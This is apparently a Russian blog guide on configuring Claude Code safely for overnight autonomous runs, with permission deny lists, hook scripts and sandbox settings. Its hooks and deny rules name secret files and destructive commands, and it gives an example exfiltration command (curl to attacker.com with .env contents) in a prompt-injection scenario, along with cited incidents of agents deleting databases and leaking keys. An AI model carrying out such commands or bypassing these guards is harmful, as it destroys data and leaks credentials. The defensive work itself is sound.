Как настроить Claude Code, чтобы он не сломал твой проект ночью

Опубликовано 02.06.202619 мин чтенияСредний
В темной стойке поврежденный сервер под многослойной защитой отражает атаки хаотичного кода Claude.
Что узнаешь
  • Почему `permissions.deny` в settings.json не защищает .env в одиночку и куда ставить страховку
  • 7 готовых хуков с кодом для блокировки `git push -f`, `DROP TABLE`, `rm -rf` и установки пакетов
  • Какие 5 настроек в `~/.claude/settings.json` я ставлю сразу после установки Claude Code
  • Когда работает `auto-mode`, когда нужен `/sandbox` с сетевой изоляцией, и в чём разница
  • 12 пунктов чек-листа, который я прохожу до того, как запустить `/loop` на ночь
Применить за 60 мин
Сэкономит 8 ч
Средний
12просмотров

Каждый день в Telegram-канале - что нового в вайб-кодинге: инструменты, кейсы, ошибки. Подпишись, чтобы быть в курсе.

Что меняется в 2026: автономный Claude Code и реальные инциденты

Раньше Claude Code останавливался после каждого ответа и спрашивал разрешения на любую запись. Это было неудобно, но безопасно: ты физически не мог проспать инцидент, потому что агент дожидался твоего «да». В 2026 эта модель сломалась. Anthropic выкатил auto-mode - отдельный классификатор-агент решает за тебя, разрешать ли каждое действие. Появились команды /loop (прогон промпта по интервалу внутри сессии) и /schedule (cron-стиль для долгих задач). Background-сессии через claude --bg запускают агента в фоне без терминала. Подробно про автономный режим я разбирал в гайде «/goal в Claude Code: автономный режим и Agent View».

Боль в том, что автономия выкатилась быстрее, чем подкатилась безопасность. В апреле 2026 разработчик PocketOS оставил Cursor с Claude Opus 4.6 в --dangerously-skip-permissions на ночь. Утром продакшен-база была удалена вместе с volume-уровневыми бэкапами одним вызовом Railway API за 9 секунд. История ушла на первую страницу HackerNews и обсуждалась неделю.

На том же треде HackerNews пользователь browningstreet кратко описал собственный опыт:

Пару недель назад я попросил его «прибраться», и он в итоге удалил мою и продакшен, и dev-базу.

- browningstreet, https://news.ycombinator.com/item?id=44865926

И параллельно в репозитории Anthropic открыты два бага, которые ты должен знать до того, как поставишь permissions.deny в свой settings.json:

  • Issue #44868 (7 апреля 2026, RCushmaniii): Claude Code зачитывает содержимое .env через grep -n в чат-транскрипт, несмотря на явный запрет в CLAUDE.md. Баг открыт.
  • Issue #24846 (11 февраля 2026, RyanL2): правила permissions.read.deny для .env*-паттернов не применяются - Read читает .env.local несмотря на корректный deny pattern. Закрыт как duplicate, не починен.

Эти две дыры показывают, почему один слой защиты в settings.json не работает. Дальше я показываю четырёхслойную модель: permissions + хуки + sandbox + разделение сессий. Каждый слой страхует предыдущий. Когда auto-mode ошибётся (а он ошибается в 17% опасных решений по данным самого Anthropic - дальше дам цитату), сработает хук. Когда хук пропустит цепочку - сработает sandbox. Когда sandbox разрешит - не будет network-доступа, и .env не утечёт наружу.

Что такое зелёная и красная зона проекта?

Бесполезно строить одинаковую защиту для всех проектов. Локальный pet-project на твоей машине без выкатки наружу - это совсем другой уровень риска, чем сервис, через который идут реальные платежи и хранятся данные клиентов. Если ставить одинаковую защиту - в зелёной зоне ты задушишь скорость, а в красной всё равно не закроешь дыры.

Зона переключается с зелёной на красную в момент, когда выполняется хотя бы одно из трёх условий: появились живые клиенты, через систему пошли деньги, в базе появились личные данные людей. До этого момента можно жить с auto-mode, минимумом хуков и без sandbox. После - защита перестраивается по полной схеме из этого гайда.

Главный принцип: уровень защиты привязан к зоне. Стадия разработки не считается. Pet-project на твоей машине с тестовой Stripe-учёткой - зелёная зона. Сервис с одним платящим клиентом и формой регистрации - уже красная, даже если внешне это «черновик». Перепутать эти зоны - типичная ловушка ранних проектов: «мы пока в черновике, защиту потом», а первый клиент платит на следующей неделе.

Как устроена иерархия permissions в settings.json?

Anthropic в официальной документации описывает иерархию вычисления permissions так: сначала проверяются deny-правила, потом ask, потом allow - первое совпавшее правило выигрывает. Это значит, что deny всегда сильнее allow. Если ты в ~/.claude/settings.json запретил читать .env, а в проектном .claude/settings.json кто-то поставил allow - сработает твой запрет, а не их разрешение.

Минимальный безопасный ~/.claude/settings.json, который я держу на user-уровне на всех машинах:

json
{
  "permissions": {
    "deny": [
      "Read(./.env)",
      "Read(./.env.*)",
      "Read(**/.env)",
      "Read(**/.env.*)",
      "Read(*.pem)",
      "Read(*.key)",
      "Read(**/credentials*.json)",
      "Read(~/.ssh/**)",
      "Read(~/.aws/**)",
      "Read(~/.gnupg/**)"
    ]
  },
  "disableBypassPermissionsMode": "disable"
}

Что здесь происходит. Первые шесть правил режут чтение секретных файлов в текущей директории и любых поддиректориях. *.pem и *.key - SSL/TLS-ключи и SSH-ключи. credentials*.json - типовое имя файлов от облачных провайдеров. Последние три - системные директории с SSH-ключами, AWS-кредами и GPG-ключами.

Ключ disableBypassPermissionsMode: "disable" блокирует флаг --dangerously-skip-permissions (он же YOLO-режим). Это снимает с тебя один класс ошибок раз и навсегда: даже если в каком-то скрипте или alias ты случайно подставишь этот флаг, Claude Code откажется его принять. Не уберёт - выдаст ошибку «mode disabled by managed settings».

Дополнительно с версии 2.1.142 ключ defaultMode: "auto" игнорируется, если стоит в project- или local-settings. Это защита от ситуации «зашёл в чужой репозиторий, а там в .claude/settings.json стоит автоматический режим по умолчанию». Anthropic явно зафиксировал: репозитории не могут сами включать auto-mode без согласия пользователя.

Это первая линия защиты. На ней нельзя останавливаться, потому что у неё есть две дыры, о которых ты узнаешь дальше.

Хочешь не только защитить Claude Code от поломок, но и понять, как собрать связку, которая делает его предсказуемым? Permissions - это часть контекст-инжиниринга: управление границами, в которых работает агент. На практикуме за 3 эфира собираешь все три кита: ИИ-клон + Второй мозг + Контекст-инжиниринг - связка, без которой Claude в автономной работе галлюцинирует или сжигает деньги.

Практикум по вайб-кодингу
+Твой второй мозг
3 вечера - стек, метод, первый проект
Старт 9–11 июня  ·  2 000 ₽
Записаться →

Почему permissions.deny не хватает: 2 открытых GitHub issue

Если бы permissions.deny работал, гайд можно было бы закончить на предыдущем разделе. Не работает.

Issue #44868 от RCushmaniii (7 апреля 2026): пользователь явно прописал в CLAUDE.md запрет на чтение .env, .dev.vars и других файлов с секретами. Claude вместо чтения сделал grep -n SOMETHING .env. Команда grep -n выводит полную строку совпадения с номером - включая реальный API-токен. Эта строка попадает в tool_result, рендерится в транскрипт сессии и сохраняется в истории. Цитата из репорта:

Claude Code читает и выводит содержимое файлов с секретами (.env, .dev.vars, файлы учётных данных) в транскрипт беседы, даже когда в CLAUDE.md пользователя есть явные запреты на это.

- RCushmaniii (GitHub issue #44868), https://github.com/anthropics/claude-code/issues/44868

Тонкий момент, на который автор обращает внимание: safety-рефлекс модели срабатывает на уже произведённый output, а не на команду до выполнения. То есть Claude сначала выполняет grep, получает строку с токеном, выводит её в чат - и только потом ловит себя на нарушении и «извиняется». На этот момент токен уже в истории чата. Единственное лекарство - ротация ключа.

Issue #24846 от RyanL2 (11 февраля 2026): пользователь сконфигурировал permissions.read.deny со списком, в котором был паттерн **/.env*. Затем попросил Claude прочитать .env.local. Read tool отработал без ошибок и вывел содержимое файла. Цитата из репорта:

Вызов инструмента Read выполняется успешно, несмотря на совпадение с паттерном запрета. Полное содержимое файла .env.local (включая API-ключи, секреты и учётные данные) читается и отображается.

- RyanL2 (GitHub issue #24846), https://github.com/anthropics/claude-code/issues/24846

Issue закрыта как duplicate, но не починена. На момент написания этого гайда (июнь 2026) её можно воспроизвести.

Вывод. Слой 1 в settings.json - не зря потраченное время. Он закрывает 70-80% случайных чтений, потому что большинство вызовов Read правда блокируется на уровне permissions. Но он не закрывает: команды через Bash (cat .env, grep API_KEY .env, head .env), баги enforcement (issue #24846), хитрые цепочки через git diff или git show на коммит, где был .env. Поэтому нужен второй слой - хуки.

Как хуки блокируют опасные действия детерминированно?

Хуки работают на другом уровне абстракции, чем permissions. Permissions - это правила, которые модель учитывает при принятии решения. Хук работает иначе: модель решила вызвать инструмент, хук запустился между моделью и системой, проверил входные данные, и либо пропустил, либо заблокировал. Модель в принятии решения хука не участвует - это shell-код, который ты пишешь сам.

Anthropic в официальной документации хуков описывает блокирующее поведение так:

Exit 2 означает блокирующую ошибку. Claude Code игнорирует stdout и весь JSON в нём. Вместо этого текст stderr отправляется обратно Claude как сообщение об ошибке.

- Документация Claude Code (Hooks), https://code.claude.com/docs/en/hooks

Это значит две вещи. Первая - exit code 2 это финальное решение хука, его нельзя обойти. Если хук вернул 2, инструмент не выполняется. Вторая - в stderr можно положить осмысленное сообщение, и Claude его прочитает как ошибку и попробует другой подход. То есть хук - это не «забор», это «забор с табличкой, почему нельзя».

События, которые можно блокировать через exit 2:

  • PreToolUse - блокирует tool call до выполнения. Главное событие для defensive-хуков.
  • PermissionRequest - отказывает в разрешении на действие, для которого Claude запросил permission.
  • UserPromptSubmit - блокирует и стирает промпт пользователя. Полезно, если в промпте нашлись подозрительные строки (например, prompt injection из подброшенного письма).
  • Stop - не даёт Claude закончить сессию. Можно использовать как «петлю» для держания агента в работе до выполнения условия.
  • PreCompact - блокирует автоматический компакшен контекста. Полезно, если хочешь сохранить транскрипт до ручного решения.
  • WorktreeCreate - отказывает в создании worktree. Защита от ситуации, когда Claude пытается клонировать репозиторий в неожиданное место.

Альтернатива exit code 2 - возврат JSON с полем hookSpecificOutput.permissionDecision. У permissionDecision четыре значения:

  • allow - явно разрешает действие, минуя стандартный permission flow.
  • deny - блокирует действие, эквивалент exit 2 для PreToolUse.
  • ask - эскалирует к пользователю (всплывает диалог).
  • defer - откладывает решение, отдаёт его обычной permission-логике.

Это даёт хуку больше контроля, чем exit code. Через permissionDecision: "ask" можно превращать silent-операции в требующие подтверждения, не блокируя их полностью. Это то, что я делаю для npm install <new package> и для изменения lockfile.

Если ты хочешь глубже разобраться с механикой хуков и какие 31 событие сейчас есть в Claude Code - я разбирал это в отдельном гайде «Хуки в Claude Code: 7 готовых правил под копипаст». Дальше я даю конкретные хуки именно под автономную работу.

Какие 7 хуков я ставлю для ночной работы?

Это второй слой защиты, который страхует первый. Все хуки лежат в .claude/hooks/, регистрируются через .claude/settings.json, требуют установленного jq.

Хук 1: защита .env, .pem и credentials.json от чтения

Закрывает дыру из issue #44868: ловит чтение секретов через любой инструмент, не только Read. Файл .claude/hooks/block-secret-reads.sh:

bash
#!/bin/bash
INPUT=$(cat)
TOOL=$(echo "$INPUT" | jq -r '.tool_name')
ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // .tool_input.command // ""')

# Read tool с подозрительным путём
if [ "$TOOL" = "Read" ] && echo "$ARG" | grep -qE '(\.env|\.pem|\.key|credentials\.json|secrets/|\.ssh/|\.aws/)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Secret file. Use op:// references or env vars."
    }
  }'
  exit 0
fi

# Bash, который читает секрет через cat/grep/head
if [ "$TOOL" = "Bash" ] && echo "$ARG" | grep -qE '\b(cat|grep|head|tail|less|more|awk|sed|xxd)\b.*(\.env|\.pem|credentials)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Reading secrets via shell is blocked."
    }
  }'
  exit 0
fi

exit 0

Регистрация в .claude/settings.json:

json
{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Read|Bash",
        "hooks": [{
          "type": "command",
          "command": "${CLAUDE_PROJECT_DIR}/.claude/hooks/block-secret-reads.sh"
        }]
      }
    ]
  }
}

После установки сделай chmod +x .claude/hooks/block-secret-reads.sh. Тест: попроси Claude прочитать .env.local - получишь ответ «Secret file. Use op:// references or env vars.» вместо содержимого файла.

Хук 2: запрет git push -f в main и master

Закрывает класс инцидентов «Claude переписал историю основной ветки и снёс чужие коммиты». Файл .claude/hooks/block-force-push.sh:

bash
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

if echo "$CMD" | grep -qE 'git\s+push.*(--force|-f)\s+\S+\s+(main|master|prod|production)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Force push to protected branch blocked. Use feature branch."
    }
  }'
fi

exit 0

Регистрация через PreToolUse с матчером Bash. Хук пропускает git push -f в фичевые ветки и блокирует только защищённые имена.

Хук 3: блок деструктивных SQL-операций

Прямо отвечает на инцидент PocketOS. Файл .claude/hooks/block-destructive-sql.sh:

bash
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# DROP TABLE / DATABASE / SCHEMA, TRUNCATE
if echo "$CMD" | grep -iqE '\b(DROP\s+(TABLE|DATABASE|SCHEMA)|TRUNCATE\s+TABLE)\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Destructive DDL blocked. Use migrations with explicit human approval."
    }
  }'
  exit 0
fi

# DELETE FROM без WHERE
if echo "$CMD" | grep -iqE '\bDELETE\s+FROM\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "DELETE without WHERE blocked. Confirm scope explicitly."
    }
  }'
  exit 0
fi

# UPDATE без WHERE
if echo "$CMD" | grep -iqE '\bUPDATE\s+\S+\s+SET\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "UPDATE without WHERE will affect all rows. Confirm scope."
    }
  }'
  exit 0
fi

exit 0

Регистрация: PreToolUse с matcher: "Bash". Заметь разницу: DROP и DELETE без WHERE блокируются полностью, UPDATE без WHERE превращается в ask - иногда это легитимно (например, выставить флаг всем записям при миграции), но всегда требует ручного подтверждения.

Хук 4: фильтр rm -rf

Канонический пример из документации Anthropic, переделанный под deny с reason:

bash
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# rm -rf /, ~, $HOME, * без явного scope
if echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~|\$HOME|\*)\s*$' || echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~)/'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Destructive rm without explicit scope. Specify the directory."
    }
  }'
fi

exit 0

Хук пропускает rm -rf node_modules, rm -rf .next/cache и другие явно ограниченные удаления. Блокирует rm -rf ., rm -rf /, rm -rf ~ и подобные «снесу всё» формулировки.

Хук 5: подтверждение установки новых пакетов

Этот хук отвечает на supply chain атаки. Если Claude решает поставить новую зависимость по своей инициативе, появляется диалог:

bash
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# Установка зависимостей по lockfile - пропускаем
if echo "$CMD" | grep -qE '\b(npm install|pnpm install|yarn install|pip install -r)\s*$'; then
  exit 0
fi

# Добавление новых пакетов
if echo "$CMD" | grep -qE '\b(npm install|pnpm add|yarn add|pip install|uv add)\s+\S'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "Adding new dependency. Confirm package name and version."
    }
  }'
fi

exit 0

Это закрытие того, на что обращал внимание Simon Willison: дефолтный whitelist auto-mode пропускает pip install -r requirements.txt, но не страхует от непиновых зависимостей внутри requirements.txt. Хук делает обратное - выполнение по lockfile проходит свободно, добавление новой зависимости требует подтверждения.

Хук 6: защита package.json и lockfile

Любое изменение manifest'а зависимостей - сигнал для человека посмотреть глазами. Особенно если ночью.

bash
#!/bin/bash
INPUT=$(cat)
PATH_ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // ""')

if echo "$PATH_ARG" | grep -qE '(package\.json|pnpm-lock\.yaml|package-lock\.json|yarn\.lock|requirements\.txt|pyproject\.toml|Cargo\.toml|go\.mod)$'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "Dependency manifest change. Confirm scope before write."
    }
  }'
fi

exit 0

Регистрация: PreToolUse с матчером Write|Edit.

Хук 7: сквозной audit-лог всех Bash-вызовов

Если ночью что-то пошло не так, нужен полный лог, чтобы понять последовательность событий. Регистрация в settings.json (хук не имеет собственного скрипта, всё делает jq):

json
{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash|Write|Edit",
        "hooks": [{
          "type": "command",
          "command": "jq -c '{ts: now, tool: .tool_name, cmd: (.tool_input.command // .tool_input.file_path), cwd: .tool_input.cwd}' >> ${CLAUDE_PROJECT_DIR}/.claude/audit.jsonl; exit 0"
        }]
      }
    ]
  }
}

Файл .claude/audit.jsonl растёт построчно. Утром после ночного /loop можно прогнать tail -n 100 .claude/audit.jsonl | jq и посмотреть, что агент делал в каждый момент. Это критично для post-mortem, потому что транскрипт сессии может быть длинным и нечитаемым, а аудит-лог даёт чистую timeline.

Как sandbox и worktree-изоляция страхуют долгие сессии?

Если хуки - это «забор с табличкой», sandbox - это «забор + ров + сетка для дронов». Это четвёртый слой защиты, который страхует ситуации, когда хуки пропустили какое-то действие, но даже выполнение этого действия не должно причинить вреда снаружи.

Anthropic в блоге про sandboxing (20 октября 2025) приводит данные внутренних замеров:

По нашим внутренним данным, sandboxing безопасно снижает количество запросов на одобрение на 84%.

- Anthropic Engineering, https://www.anthropic.com/engineering/claude-code-sandboxing

Это означает: когда ты включаешь /sandbox, Claude перестаёт спрашивать разрешения на 84% действий, потому что эти действия физически не могут выйти за пределы песочницы. Это полезно для скорости, но главная ценность не в этом.

Sandbox даёт два уровня изоляции, каждый со своей ролью:

Filesystem isolation ограничивает чтение и запись явно разрешёнными директориями. Даже если хук пропустил попытку записать в /etc/hosts или прочитать ~/.ssh/id_rsa, sandbox не даст системному вызову пройти. Это защита на уровне операционной системы. Прикладной слой её не видит.

Network isolation разрешает подключения только к утверждённым серверам. Это критично для exfiltration-атак. Сценарий: prompt injection в подброшенном файле заставил Claude прочитать .env (хук пропустил, потому что чтение было через какой-то нестандартный путь), затем модель решает сделать curl -X POST attacker.com -d "$ENV_CONTENT". Без network isolation это срабатывает. С network isolation curl не достанет attacker.com, потому что хост не в списке.

Запуск: команда /sandbox внутри Claude Code. Конфигурация - в ~/.claude/settings.json:

json
{
  "sandbox": {
    "filesystem": {
      "allow": ["${CLAUDE_PROJECT_DIR}", "/tmp/claude-sandbox"],
      "deny": ["~/.ssh", "~/.aws", "~/.gnupg", "/etc"]
    },
    "network": {
      "allow": [
        "api.anthropic.com",
        "github.com",
        "registry.npmjs.org",
        "pypi.org"
      ]
    }
  }
}

Для долгих background-сессий через claude --bg к sandbox добавляется worktree-изоляция. Это родной механизм Claude Code: каждая фоновая сессия автоматически выносится в отдельный .claude/worktrees/<name>/ на собственную ветку. Это значит, что параллельные сессии не топчутся друг по другу при записи в одни и те же файлы. Подробно про worktree-изоляцию я разбирал в гайде «Agent View и worktrees: автономный режим Claude Code».

Boris Cherny, создатель Claude Code, держит main-ветку под ручным review и параллельно запускает несколько worktree через auto-mode. Из его публичной документации:

Дай Claude способ проверить свою работу. Если у Claude есть эта обратная связь, качество финального результата вырастает в 2-3 раза.

- Boris Cherny, https://howborisusesclaudecode.com/

Sandbox - это часть feedback loop. Когда Claude знает, что его действия ограничены, он работает осторожнее и явнее формулирует промежуточные шаги.

Где работает auto-mode 2026, а где не работает?

В марте 2026 Anthropic выкатил auto-mode как «среднее между ручным review и no-guardrails». Это отдельная модель Sonnet 4.6, которая оценивает каждое действие Claude против набора критериев до выполнения. John Hughes, инженер Anthropic, описал механику в блоге Anthropic Engineering:

Auto-mode - новый режим Claude Code, который делегирует одобрения классификаторам на основе модели. Это среднее между ручным review и отсутствием guardrails.

- John Hughes, Anthropic Engineering, https://www.anthropic.com/engineering/claude-code-auto-mode

Два важных лимита у auto-mode:

  • Если сессия накопила 3 подряд или 20 общих отказов классификатора - модель останавливается и эскалирует к человеку. Это защита от ситуации «Claude в петле пытается обойти ограничение через 100 разных формулировок одной команды».
  • Auto-mode пропускает действие, если оно похоже на 93% типичных случаев, которые пользователи и так одобряют. Это снижает permission fatigue, но не страхует от нетипичных опасных действий.

И главная цифра, на которую нужно смотреть:

17% false-negative rate на реальных overeager-действиях - честная цифра.

- John Hughes, Anthropic Engineering, https://www.anthropic.com/engineering/claude-code-auto-mode

17% означает, что каждое шестое опасное действие auto-mode пропустит. Это безопаснее, чем --dangerously-skip-permissions, но недостаточно для продакшена. Для красной зоны auto-mode допустим только в связке с хуками, которые ловят оставшиеся 17% детерминированно.

Практический вывод. В зелёной зоне auto-mode без хуков работает - максимум сломается твой локальный проект, который восстанавливается из git. В красной зоне auto-mode без хуков превращается в игру с шестигранным кубиком, на котором одна грань значит «потерял базу». Хуки делают эту игру детерминированной: цепочки опасных действий, которые auto-mode пропускает, ловятся на уровне PreToolUse.

Зачем разделять контексты на три типа сессий?

Три типа задач, которые принципиально не должны жить в одной сессии:

Тип 1: работа с личными данными. Сессия имеет доступ к боевой базе, может посылать email и видеть credentials. НЕ имеет доступа к внешним документам (письма, PDF, веб-страницы) и НЕ может отправлять данные на произвольные адреса.

Тип 2: обработка внешних документов. Сессия может парсить входящие письма, скачивать веб-страницы, читать PDF из e-mail. НЕ имеет доступа к базе с личными данными и НЕ может отправлять что-либо наружу без явного подтверждения.

Тип 3: публикация наружу. Сессия может постить в социальные сети, отправлять email рассылки, делать pull request'ы. НЕ имеет доступа к личным данным и НЕ парсит входящий контент.

Зачем такое разделение. Если у тебя одна сессия делает всё, то достаточно одной prompt injection в подброшенном PDF (агентство-конкурент прислало «счёт»), чтобы агент в одном проходе сделал: прочитал твою базу клиентов, нашёл их email, отправил их на адрес атакующего. Каждое действие в этой цепочке - legitimate для своего типа задач. Вместе - утечка.

На HackerNews в треде про nah (Show HN: context-aware permission guard) кто-то сформулировал это так:

Самый страшный паттерн exfiltration - не одна плохая команда. Это цепочка из абсолютно нормальных. Агент читает .env (разрешено), посылает по HTTP (разрешено), всё.

- ibrahim_h, HackerNews, https://news.ycombinator.com/item?id=47343927

Практически это реализуется через разные .claude директории под разные типы задач. У меня на машине лежат три конфигурации: ~/projects/business-ops/.claude/ (тип 1, доступ к базе, network deny на всё кроме внутренних API), ~/projects/inbox-parsing/.claude/ (тип 2, network deny на всё), ~/projects/social-posting/.claude/ (тип 3, network allow на Telegram, Twitter, Slack API). Каждая директория - отдельный проект для Claude Code с собственными permissions и хуками.

Какие 12 пунктов чек-листа я прохожу до /loop?

  1. ~/.claude/settings.json с user-level deny для .env*, *.pem, *.key, credentials*.json, ~/.ssh/**, ~/.aws/**. Это base, без него остальное смысла не имеет.

  2. disableBypassPermissionsMode: "disable" в ~/.claude/settings.json. Раз и навсегда блокирует YOLO-флаг.

  3. Хук block-secret-reads.sh (закрывает дыру issue #44868 - чтение .env через grep, cat, head в Bash).

  4. Хук block-force-push.sh на git push -f в main, master, prod, production.

  5. Хук block-destructive-sql.sh на DROP TABLE, TRUNCATE, DELETE FROM без WHERE.

  6. Хук block-rm-rf.sh на rm -rf без явного scope.

  7. Хук ask-on-new-deps.sh на npm install <new package> (отдельно от npm install без аргументов).

  8. Хук ask-on-lockfile-change.sh на запись в package.json, pnpm-lock.yaml, requirements.txt, pyproject.toml, Cargo.toml.

  9. Catch-all audit.jsonl лог для всех Bash, Write, Edit. Без него post-mortem невозможен.

  10. Все долгие background-сессии запускаются в worktree, не на основной ветке: claude --bg "task" автоматически создаёт worktree, но проверить, что в settings.json нет worktree.bgIsolation: "none".

  11. /sandbox перед запуском долгой автономной задачи. Файловая система ограничена директорией проекта и /tmp. Сеть - whitelist на api.anthropic.com, github.com, registry.npmjs.org.

  12. Verification step внутри задачи: после каждого крупного изменения запускается тест-runner или линтер. Если они падают - агент не идёт дальше до фикса.

Последний пункт - паттерн работы, не настройка инструмента. Boris Cherny советует: дай Claude способ проверить свою работу, и качество финального результата вырастает в 2-3 раза. Без verification ночной агент крутит в петле «думаю, что сделал правильно, иду дальше», накапливая ошибки до утра. С verification он не идёт дальше, пока проверка не прошла.

7 anti-patterns: что НЕ делать

1. --dangerously-skip-permissions на хост-машине с production-доступом. Browningstreet потерял prod и dev базу с одной командой «clean up». Цена ошибки - часы восстановления плюс потеря данных, которых нет в бэкапе. Если инцидент уже случился - открывай «Что делать если ИИ удалил базу данных: чек-лист восстановления» и иди по 10 пунктам по порядку.

2. Опора только на CLAUDE.md для безопасности. Issue #44868 доказала: модель сначала выполняет, потом извиняется. Advisory-инструкция в текстовом файле не блокирует tool call. Только хук с exit 2 или sandbox блокируют. CLAUDE.md важен для контекста проекта - я писал про него отдельно в «Как настроить CLAUDE.md правильно» - но он не страховка от автономного агента.

3. Опора только на permissions.deny в settings.json без хука сверху. Issue #24846 открыта с февраля 2026. Deny для .env* обходится через grep в Bash. Без хука твоя «защита» - бумажный заборчик.

4. Auto-mode без хуков на деструктивные команды. 17% false-negative rate на реальных опасных действиях по данным самого Anthropic. Это шестигранный кубик с одной гранью «потерял базу».

5. npm install нового пакета без подтверждения. Supply chain атаки реальны. Tea-tags-инциденты в 2024-2026 показали, что typosquatted-пакеты с тысячами downloads существуют. Whitelist должен быть.

6. Не логировать Bash-вызовы. Без аудит-лога ты не сможешь понять, что произошло ночью. Транскрипт чата длинный, не индексируется по командам, не даёт timeline. .claude/audit.jsonl решает обе проблемы.

7. Не использовать worktree для background-сессий. Параллельные сессии в одной директории топчутся друг по другу. В Claude Code есть worktree.bgIsolation, и она включена по умолчанию с версии 2.1.143, но проверь это в своих settings.

И главное, чего ни один хук и ни одна настройка не закроет:

ИИ не удалил твою базу данных. Ты удалил.

- Ibrahim Diallo, https://idiallo.com/blog/ai-didnt-delete-your-database-you-did

Эта фраза не про стиль. За защиту прода отвечает человек, который запустил агента. Claude Code работает как опасная бритва: ей бреются, ей же режутся. Конфигурация отвечает на один вопрос - достаточно ли ты подготовил окружение, чтобы бритва не порезала лишнее.

Источники

Pre-incident setup - это часть контекст-инжиниринга: ты заранее ограничиваешь, что агент может делать, и тем самым освобождаешь его на то, что хочешь, чтобы он делал. На практикуме за 3 эфира собираешь полную схему по вайб-кодингу: ИИ-клон + Второй мозг + Контекст-инжиниринг. 3 эфира, 2 000 ₽. Записи остаются у тебя.

Практикум по вайб-кодингу
+Твой второй мозг
3 вечера - стек, метод, первый проект
Старт 9–11 июня  ·  2 000 ₽
Записаться →

Новые материалы - дайджестом, без спама

Гайды выходят регулярно. Подпишись, чтобы не пропускать: пришлю подборку в Telegram или на email. Раз в неделю или каждый день - выбираешь сам.

Была инструкция полезна?
Артемий Миллер
Автор
Артемий Миллер
Предприниматель и вайб-кодер

Артемий Миллер - предприниматель и вайб-кодер. Бывший программист, собирает продукты исключительно вместе с ИИ-агентами, без найма разработчиков.